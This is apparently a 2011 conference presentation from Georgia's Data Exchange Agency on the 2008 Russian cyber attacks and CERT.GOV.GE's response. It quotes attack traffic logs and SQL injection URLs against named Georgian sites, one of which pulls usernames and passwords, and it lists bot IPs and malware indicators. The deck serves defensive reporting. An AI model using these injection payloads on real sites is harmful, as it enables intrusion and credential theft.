Cyber Attacks Against Georgia

Irakli Lomidze
For GITI 2011
About Agency

Agency established in January 2010

Main Directions:

• E-Government Development

• Information Security Improvement and Development
Data Exchange Agency

Our Responsibility Segment

Information security policy development, implementation, monitoring, development.

CERT.GOV.GE (Computer Emergency Response Team) Creation

Georgian Governmental Network GGN Monitoring

CA (Certificate Authority) – Monitoring
Cyber Space in a war space

Cyber Space is a war space
Cyber attacks in 2008
Russian Cyber and armed Attack in 2008

In August 2008 Russia used Cyber and Armed attack simultaneously against Georgia.

1) **Attack on governmental web resources**
   *Damage of reputation*

2) **Shut down media, forums, blogs Georgia**
   *People could not get real Information, misinformation of real facts by Russian Media*

3) **Block and cut off Georgian Internet resources**
   *Communication was impossible within the country as well as outside.*
These were very organized and planned attacks. 90% of all gov.ge domain addresses and significant fraction of .ge domain addresses were affected by DDoS attacks.
Russian Cyber and armed Attack in 2008

Georgian Governmental Web Sites attacked

И кончит он также...

hacked by South Ossetia Hack Crew
### Table: Russian Cyber and Armed Attack in 2008

<table>
<thead>
<tr>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>213.122.175.86</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>GET /739dec76f HTTP/1.1</td>
</tr>
<tr>
<td>213.122.175.86</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>[TCP Retransmission] GET /statements.php HTTP/1.1</td>
</tr>
<tr>
<td>189.13.56.83</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>GET /docs/reglamenti.pdf?SOSATETO_VASHE_PRIZVANIE=Ad&amp;4713</td>
</tr>
<tr>
<td>81.201.203.50</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>GET /statements.php&amp;es=8qq3w&amp;jn=40640893f=obs1uuw&amp;DA_VI_LOHI_PODOBORSETES_KAK_V_</td>
</tr>
<tr>
<td>189.13.56.83</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>GET /?76de2f%k&amp;d=218&amp;DA_VI_LOHI_PODOBORSETES_KAK_V_90x</td>
</tr>
<tr>
<td>91.190.87.98</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>GET /?10a892a6 HTTP/1.1</td>
</tr>
<tr>
<td>91.190.87.98</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>GET /statements.php&amp;307=0&amp;gpe=DA_VI_LOHI_PODOBORSETES_KAK</td>
</tr>
<tr>
<td>189.153.46.223</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>[TCP Retransmission] GET /statements.php&amp;2ac=pe2&amp;jGkQEmUh</td>
</tr>
<tr>
<td>213.122.175.86</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>GET /statements.php HTTP/1.1</td>
</tr>
<tr>
<td>91.190.87.98</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>[TCP Retransmission] GET /?10a766ac&amp;2qtw=1378&amp;GTAwJnTM=2</td>
</tr>
<tr>
<td>201.170.66.71</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>GET /docs/reglamenti.pdf?SOSATETO_VASHE_PRIZVANIE=Ad HTTP</td>
</tr>
<tr>
<td>56.69.194.189</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>GET /docs/reglamenti.pdf?SOSATETO_VASHE_PRIZVANIE=Ad HTTP</td>
</tr>
<tr>
<td>74.195.179.83</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>GET /statements.php HTTP/1.1</td>
</tr>
<tr>
<td>56.222.137.212</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>GET /statements.php HTTP/1.1</td>
</tr>
<tr>
<td>89.195.186.54</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>[TCP Retransmission] GET /statements.php HTTP/1.1</td>
</tr>
<tr>
<td>85.109.109.188</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>GET /744c7acc2 HTTP/1.1 Continuation or non-HTTP traffic</td>
</tr>
<tr>
<td>56.210.131.226</td>
<td>212.58.98.207</td>
<td>HTTP</td>
<td>GET /docs/reglamenti.pdf?SOSATETO_VASHE_PRIZVANIE=Ad HTTP</td>
</tr>
<tr>
<td>201.88.90.48</td>
<td>213.157.198.33</td>
<td>TCP</td>
<td>rdmshc &gt; http [SYN] Seq=0 win=65535 Len=0 MSS=1452</td>
</tr>
<tr>
<td>208.0.30.17</td>
<td>213.157.198.33</td>
<td>TCP</td>
<td>23841 &gt; http [SYN] Seq=0 win=65520 Len=0 MSS=1260</td>
</tr>
<tr>
<td>210.211.128.160</td>
<td>213.157.198.33</td>
<td>TCP</td>
<td>63801 &gt; http [SYN] Seq=0 win=65535 Len=0 MSS=1452</td>
</tr>
<tr>
<td>65.95.127.155</td>
<td>213.157.198.33</td>
<td>TCP</td>
<td>59609 &gt; http [SYN] Seq=0 win=65535 Len=0 MSS=1452</td>
</tr>
<tr>
<td>62.241.166.174</td>
<td>213.157.198.33</td>
<td>TCP</td>
<td>iisn &gt; http [RST] Seq=1 win=0 Len=0</td>
</tr>
<tr>
<td>217.69.214.243</td>
<td>213.157.198.33</td>
<td>TCP</td>
<td>60001 &gt; http [SYN] Seq=0 win=16384 Len=0 MSS=1452</td>
</tr>
<tr>
<td>78.96.72.99</td>
<td>213.157.198.33</td>
<td>TCP</td>
<td>fapomgrbulk &gt; http [SYN] Seq=0 win=65535 Len=0 MSS=1452</td>
</tr>
<tr>
<td>189.81.53.53</td>
<td>213.157.198.33</td>
<td>TCP</td>
<td>63113 &gt; http [SYN] Seq=0 win=65535 Len=0 MSS=1452</td>
</tr>
<tr>
<td>90.154.125.188</td>
<td>213.157.198.33</td>
<td>TCP</td>
<td>vrtc-4-port &gt; http [SYN] Seq=0 win=65535 Len=0 MSS=1452</td>
</tr>
<tr>
<td>92.113.0.29</td>
<td>213.157.198.33</td>
<td>ICMP</td>
<td>Echo (ping) request</td>
</tr>
<tr>
<td>92.113.0.29</td>
<td>213.157.198.33</td>
<td>ICMP</td>
<td>Echo (ping) request</td>
</tr>
<tr>
<td>92.113.0.29</td>
<td>213.157.198.33</td>
<td>ICMP</td>
<td>Echo (ping) request</td>
</tr>
<tr>
<td>92.113.0.29</td>
<td>213.157.198.33</td>
<td>ICMP</td>
<td>Echo (ping) request</td>
</tr>
<tr>
<td>86.98.45.228</td>
<td>213.157.198.33</td>
<td>HTTP</td>
<td>GET /ida635f7576DA_VI_LOHI_PODOBORSETES_KAK_V_90x-gp HTTP/1.1</td>
</tr>
<tr>
<td>86.98.45.228</td>
<td>213.157.198.33</td>
<td>HTTP</td>
<td>GET /ida6b29c3&amp;8ct4wu=97zi&amp;20fd=xpNFeYel HTTP/1.1 Continuation</td>
</tr>
<tr>
<td>216.129.211</td>
<td>213.157.198.33</td>
<td>DNS</td>
<td>Standard query NX media.ge</td>
</tr>
<tr>
<td>83.174.226.124</td>
<td>213.157.198.33</td>
<td>DNS</td>
<td>Standard query A media.ge</td>
</tr>
</tbody>
</table>

---

**You are loosers and will fail again just like in 90ies**
Russian Cyber and armed **Attack** in 2008

Russians Published how to attack Georgian internet resources

**Aversi.ge**

![URL](http://www.aversi.ge/main.php?lang=ge&id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,version(),17,18,19,20,21,22,23,24,25]

**Presa.ge**

![URL](http://presage.ge/index.php?text=news%82=14%union%select%1,2,concat_ws(0%0A,table_name),4,5,6,7,8,9,10,11%from%information_schema.tables%limit%27%1--)

5 var. tables

![URL](http://presage.ge/index.php?text=news%82=14%union%select%1,2,concat_ws(0%0A,username,us%er_password),4,5,6,7,8,9,10,11%from%users--)

**Ssa.gov.ge**

![URL](http://www.ssa.gov.ge/index.php?id=69%82=1+union+select+1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25)
Russians open special web sites “Attack Georgia” and promote downloading special tools for attacking Georgian Cyber space for population.

Mostly used tools were just PING utilities. Also previously deployed BOTs were used.

Via using these tools Russian Attackers jammed Georgian Internet.
Types of Cyber Attacks

**Geographically distributed BOTNETS**
- 300-400 sessions per IP per server

**SQL INJECTION of more than 100 sites**
*Examples:*
http://www.president.gov.ge/index.php?l=G&m=0&sm=3&id=2693+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5
http://junior.eurovision-georgia.ge/index.php?lang=eng&topid=3&id=-1+union+select+1,2,3,4,5

**Attempts of BGP hijacking**

**Websites hacking**
*According servers securities levels it can be said that hackers knew passwords*

**Spamming of Email addresses**
Today
Current Projects

Threats and Attacks Today

Today as the whole world we are getting more and more depending on Information Technologies. Cyber Threats are more sensitive issue for country.

What we are doing to mitigate risks?

• In 2008 Creating CERT.GE (Based on GRENA)

• In 2011 Creating CERT.GOV.GE (Based on DEA)

• Governmental Organizations starting care about Cyber threats

• Big Commercial Organizations are Collaborating with Government in Cyber Security Filed.
We are members of:

The Cyber security Executing Arm Of The UNITED NATIONS

SPECIALISED AGENCY of The International Telecommunication Union (ITU)

The Trusted Introducer - a.k.a. TI - is the trusted backbone of the Security and Incident Response Team community in Europe

Certifications:

All Our Team members is Certified by SANS GIAC
CERT.GOV.GE (Computer Emergency Response Team)

**CERT Web Portal**: Computer Incident Reporting Portal for further analyzing and responding, Support ticket system for registered users.

www.dea.gov.ge

**Incident Handling**: Identify Security Incidents and helping to solve it.

**Penetration Test Service for Public Sector**: Analyzing their cyber resources for the vulnerabilities and reporting them.
Cert Activities

We started CERT.gov.ge Activities in April 2011

Results:

• 1) Identified Local DDoS attacks.
  
  *CERT.gov.ge Analyzed attack and gave recommendations to ISP to block some IP addresses*

• 2) Bot Attack on Governmental computer gathering military data.
  
  *Risk was mitigated*

• 3) Bot Activity of Big Georgian Hosting company
  
  *Risk was mitigated*

• 4) Attack on one of the Georgian Ministry
  
  *Risk was mitigated*
1) Identified Local DDoS attacks. Distributed as an Application but contained bot
2) Bot Attack on Governmental computer gathering military data.

ovh.net web-hosting - 178.32.91.70 hosted Bot “Zeus” modification, with BOT Panel. Distributed Virus And Collecting and Sending data

BOT was modified and auto updated time by time
Latest Attacks

3) Bot Activity of Big Georgian Hosting Company

We found hosted Bot “Zeus” modification, with BOT Panel on Georgian Host Company.
4) **Attack** on one of the Georgian Ministry

**System changes**

The following system changes may indicate the presence of this malware:

- The presence of the following files:
  - `\documents and settings\all users\application data\srtserv\<malware file>.exe`
  - `\documents and settings\all users\application data\srtserv\data.dll`
  - `\documents and settings\all users\application data\srtserv\set.dat`

- The presence of the following registry modifications:
  - Adds value: "srtserv"
  - With data: "c:\documents and settings\all users\application data\srtserv\<malware file>.exe"
  - To subkeys: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

**Summary**

Worm\Win32/Verst.B is a worm that spreads via network drives and downloads arbitrary files. This worm may also attempt to steal sensitive information such as passwords.
Some Bots in Georgia

scanners | 92.241.76.130 | 15491 | 2011-06-29 05:55:40 | 4899/tcp | SILKNET Internet Service Provider.
scanners | 46.49.97.14 | 28751 | 2011-06-29 13:58:28 | 4899/tcp | CAUCASUS-NET-AS Caucasus Online LLC
scanners | 95.137.163.96 | 34797 | 2011-06-29 10:30:32 | 22/tcp | EGRISI-AS Egrisi JSC.
scanners | 80.92.184.37 | 41877 | 2011-06-29 05:30:43 | 445/tcp | GRT-AS Railway Telecom AS number
scanners | 94.43.254.134 | 35805 | 2011-06-29 03:05:11 | 445/tcp | SILKNET-AS JSC _Silknet_
bots | 94.100.238.109 | 25249 | 2011-06-30 15:01:48 | srcport 53997 mwtype irc-botnet | GE-MAGTICOM MAGTICOM
bots | 95.104.115.178 | 28751 | 2011-06-30 16:09:34 | srcport 6492 mwtype irc-botnet | CAUCUSUS-NET-AS Caucasus Online LLC
bots | 95.137.185.110 | 34797 | 2011-06-30 09:21:31 | srcport 1122 mwtype irc-botnet | EGRISI-AS Egrisi JSC.
openresolvers | 213.131.34.14 | 15491 | 2011-06-29 13:06:09 | | SILKNET Internet Service Provider.
openresolvers | 217.147.238.135 | 20545 | 2011-06-29 06:16:22 | | GRENA-AS GRENA Autonomous System
openresolvers | 46.49.106.9 | 28751 | 2011-06-29 08:18:53 | | CAUCUSUS-NET-AS Caucasus Online LLC
openresolvers | 188.169.155.49 | 35805 | 2011-06-29 02:58:20 | | SILKNET-AS JSC _Silknet_
spam | 217.147.224.34 | 20545 | 2011-06-30 08:07:03 | cbl | GRENA-AS GRENA Autonomous System
spam | 81.95.167.11 | 25249 | 2011-06-29 20:36:31 | cbl | GE-MAGTICOM MAGTICOM
spam | 46.49.34.143 | 28751 | 2011-06-30 22:25:03 | cbl | CAUCUSUS-NET-AS Caucasus Online LLC
Trusted Sources

http://www.shadowserver.org/

http://www.team-cymru.org/

CERT.GOV.GE (Computer Emergency Response Team)

**CERT Web Portal**: Add Additional Functionality on CERT web Portal

**Intrusion Detection System (IDS) and Network Sensors**: Placing in different organizations.

**Source and Binary Code Analyzing**: Analyzing Source code and Binary Code for weakness.

**Creating local volunteer groups** for better Defense of cyber space of Georgia.

Continue development better cooperation with related international organizations.
Contact Information:

The Ministry of Justice
Data Exchange Agency
Tbilisi, Georgia 0102
Tsminda nikolozis/niono chxeizis St. N2

Phone: +995 (32) 2 91 51 40
E-mail: info@dea.gov.ge
Thank you for your attention